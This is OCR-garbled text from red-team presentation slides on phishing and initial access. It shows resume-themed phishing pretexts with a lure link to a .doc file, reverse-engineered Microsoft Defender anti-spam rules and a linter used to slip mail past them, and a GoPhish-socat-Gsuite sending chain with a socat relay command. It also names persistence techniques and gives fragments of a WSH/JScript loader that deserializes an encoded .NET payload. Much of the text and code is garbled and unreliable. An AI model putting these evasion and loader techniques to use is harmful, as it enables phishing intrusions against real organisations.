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Phishing

Stay away of fire & forget , single -email exchanges & —
Develop multi - step plausible pretexts
» CV/Resume in response to real job offers, customer inquiries - I

Looking for outstanding technical minds & talents!

» Investor Relations (IR) exchange leading to IPO/bonds/shares acquisition

§p m—
» Lawyers, brokers, accountants Z are so used to using Macros * Hello Mariusz!
Stick more to Third - Party communication channels | fve sent you my resume yesterday, did you have a chance to
g look at it? I'm sending it here. Kindly waiting for your

PN
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feedback! :-)

https://resume.z13.web.core.windows.net/My-Resume.doc

Bonkers tricks:
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» Right -to - Left - Override -Like -Its -90s
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Phishing

» Get familiar with

state - of - the - art Detections

A Here we reverse - engineer 20+
MS Defender for Office365

Anti - Spam rules

https://github.com/mgeeky/decodespamheaders

#& github.com/mgeeky/decode-spam-headers

README.md

Anti Spam Rules ReverseEngineered = \

{

'35100500006' : logger.colored( ' (SPAM) Message contained embedded image.', 'red'),

# https://docs.microsoft.com/en-us/answers/questions /416108 /what-is-meanings-of-39x-microsoft-antispa

'528007850° : logger.colored('(SPAM) Moved message to Spam and created Email Rule to move messages fr

# triggered on an empty mail with subject being: "testl23 - wviagra”
'162623804° : 'Subject line contained suspicious words (like Viagra).',

# triggered on mail with subject "testl23™ and body being single word “"viagra”
*196189258083" : 'Mail body contained suspicious words (like VWiagra).',

# triggered on mail with empty body and subject "Click here™

'282330801" : "Subject line contained suspicious words luring action (ex. "Click here"). ",

# triggered on a mail with test subject and 1588 words of http://nietzsche-ipsum.com/
'308640883" : "Mail body contained a lot of text (more than 1@.88@ characters).’,

# mails that had simple message such as "Hello world"” triggered this rule, whereas mails with
# more than 150 words did not.

'564344804° : 'HTML mail body with less than 158 words of text (not sure how much less though)’,

# message was sent with a basic html and only one <u> tag in body.
'67856801" : "HTML mail body contained underline <u> tag.’,

# message with html,head,body and body containing simple text with no b/ifu formatting.
'579124803° : 'HTML mail body contained text, but no text formatting (<b>, <i>, <u>) was present’,

# This is a strong signal. Mails without <a> doesnt have this rule.

"166802° : "HTML mail body contained URL <a» link.’,
# Message contained <a href="https://something.com/file.html?parameter=value™ - GET parameter with va

*21615805" : "Mail body contained <a> tag with URL containing GET parameter: ex. href="https://foo.ba

# Message contained <a href="https://something.com/file.html?parameter=https://another.com/website”
# - GET parameter with value, being a URL to another website
'45980400002° : 'Something about <a> tag\'s URL. Possibly it contained GET parameter with wvalue of an



Phishing

This link is being scanned.
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R We're scanning this link to see if it's malicious. The scan should be
w $ ' 1 AEAOI °ob completed soon, so try opening the link in a few minutes.
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Use of underline tag <u>

HTML code in <a> link tags

<a href="..."> URL contained GET parameter

<a href="..."> URL contained GET parameter with URL

<a href="..."> URL pointed to an executable file

https://github.com/mgeeky/PenetratioAT estingTools/blob/master/phishing/phishingd TML:linter.py Mail message contained suspiclous words



Phishing

» Apply Phishinge -mail HTML Linting

: Phishing HTML Linter
Shows you bad smells in your HTML code that will get your mails busted!
Mariusz Banach / mgeeky

(1) Test: Embedded Images
DESCRIPTION:
Embedded images can increase Spam Confidence Level (SCL) in Office365 by 4
points. Embedded images are those with <img
src="data:image/png;base6d,<BLOB>"/> . They should be avoided.
CONTEXT:
<img src="data:image/png;base64, iVBORWOKGgoAAAANSU. . .AAAELFTkSuQmCC" style="width:121px; height:32px"/>

ANALYSIS:

- Found 1 <img> tags with embedded image (data:image/png;base64,iVBORwOK) .
Embedded images increase Office365 SCL (Spam) level by 4 points!

o) ; (6) Test: <a href="..."> URL pointed to an executable file
2) Test: Images without ALT

Message contained <a> tags with href="..." links pointing to a file with

dangerous extension (such as .exe)
CONTEXT :

Tool
MXToolbox

CanlPhish

Mail-Tester

Litmus (Paid)

MailTrap (Paid)

Phishious

Mail Headers Analyzer

decode-spam-headers.py

phishing-HTML-linter.py

<a href="https:// report.z13.web.core.windows.n...r:#f2f2f2">Geléschte Dateien iiberpriifen</span></a>
href = "https:// report.zl13.web.core.windows.net/onedrive.exe?url=https%3A%2F%2Fing%2Dmy%2Eshar"



@  Phishing

» Email sending strategy: MS Defender for Office365 cools down a sender upon 4- 5" mail
» Throttling completely impacts your success rate

» What works nice for MDO:

» GoPhish ->EC2587/ tcp Socat Redirector -> Gsuite -> Target

ANALYSIS:
- List of server hops used to deliver message:
-=> (1) "action" <action@l ,com>
|.> (2) SMTP-SERVICE (rev: ec2-35-180~ eu-west-3.compute.amazonaws.com) (35.180. )

time: 2021-10-15 08:57:33+00:00
id: ulsml67704wrb.39,.2021.10,15.01.57.33
by: smtp-relay.gmail.com
with: ESMTPS
for: < » (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128)
extra:

- version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128

= PDT #1/bin/bash
socat -d -d TCP4-LISTEN:587,fork TCP4:smtp.gmail.com:587
| > (3) mail-wrl-f97.google.com (209.85.221.97)

time: 2021-10-15 08:57:34+00:00
id: fuzzy match: Exchange Server 2019 CU11; October 12, 2021; 15.2.986.9
by: AM5EUR92FT024 mail.protection.outlook. com (10.152. 8 126)
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44 |nitial Access

Hang Fire: Challenging our Mental Model of
Initial Access

» Phish to Persist

» Instead of PhIShlng to Access (~ Matt Hand @SpecterOps)

» Strive for delayed & elonged execution

» -- > dechain File Write & Exec steps

=]
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» Use VBA/WSH to drop DLL/XLL/CPL*

» COM HIJaCkIng aanm Highlight entries matching these conditions:
» DLL Side - Loading / DLL Hijacking . | D
(%LOCALAPPDATAMGrosoft \ Teams version.dll ) : Va o [Aam (EDWITHONLY. 4

» XLL Persistence KED WITH ONLY S




<?XML version="1.0"7>

Initial Access » ~ <job id="BGeOVXVypF">_ e
<script language="VBScript">
i <! [CDATA[

44  Typical Vectors - WSH ;

. Function xsuitablen(itransforms)
Dim xselectx i
Set xselectx = CreateoObject("ADODB.Stream")

xselectx.Type = 1

» WlndOWS SCflpt HOSt (WSH) izgig%::\?z?g%_itran(s)forms WSF
xse1ectx:TO;; log )

> VIS Y = Vet ateabien = roeeces sedren
» JSE,JS Z JScript ~ l

» HTAZ HTML Application

» XSL - XML

» WSFZ Windows Script File VBS

»  Language agnostic file format

» 1110 x0 [0l OEDI A OAOEDPOO s1Ei AGzs ¥V 1 Al COACAO xEOEET A OEICl A &EIA
<?xml version='1.0"7> 8 3
| <stylesheet function base64Tostream(b) {
' Set agover var enc = new Activexobject("System.Text.ASCIIEncoding");
xmlns="http://www.w3.0org/1999/XSL/Tr; var length = enc. GEtBYtECOU”t 2(b);

var ba = enc.GetBytes_4(b);
var transform = new Act1vex0bject( System.Security.cryptography.FromBase64Transform™) ;

> o ba = transform. TransformF1na1B1ock(ba 0, Tlength);
xmlns :user="placehold var ms = new Activexobj

& "urn:schemas-microsoft-com:xs1
' <?xml version=1.07>

. ect("s stem I0.MemoryStream' s
End If ms.write(ba, 0, (1engt% /4 ¢ Y
version="1.0"> ms.Position = 0;
<output method="text"/> return ms; ‘]53
'Dim rarounds, sfoldingq }

<ms:script implements-prefix= L. .
p p p var serialized_obj = %SERIALIZED%;
var entry_class = "%CLASS%';

Tmis try {
) i i setversion();
. Private tguidedn,xarabiaz,tk var stm = base64ToStream(serialized_obj);
Function uhayesd(staggedj) var fmt = new Activexobject('system.Runtime.Serialization.Formatters.Binary.BinaryFormatter')

var al = new Actiyexquect('Sgstem.co11ections.ArrayList'),
var d = fmt.Deserialize 2(stm):



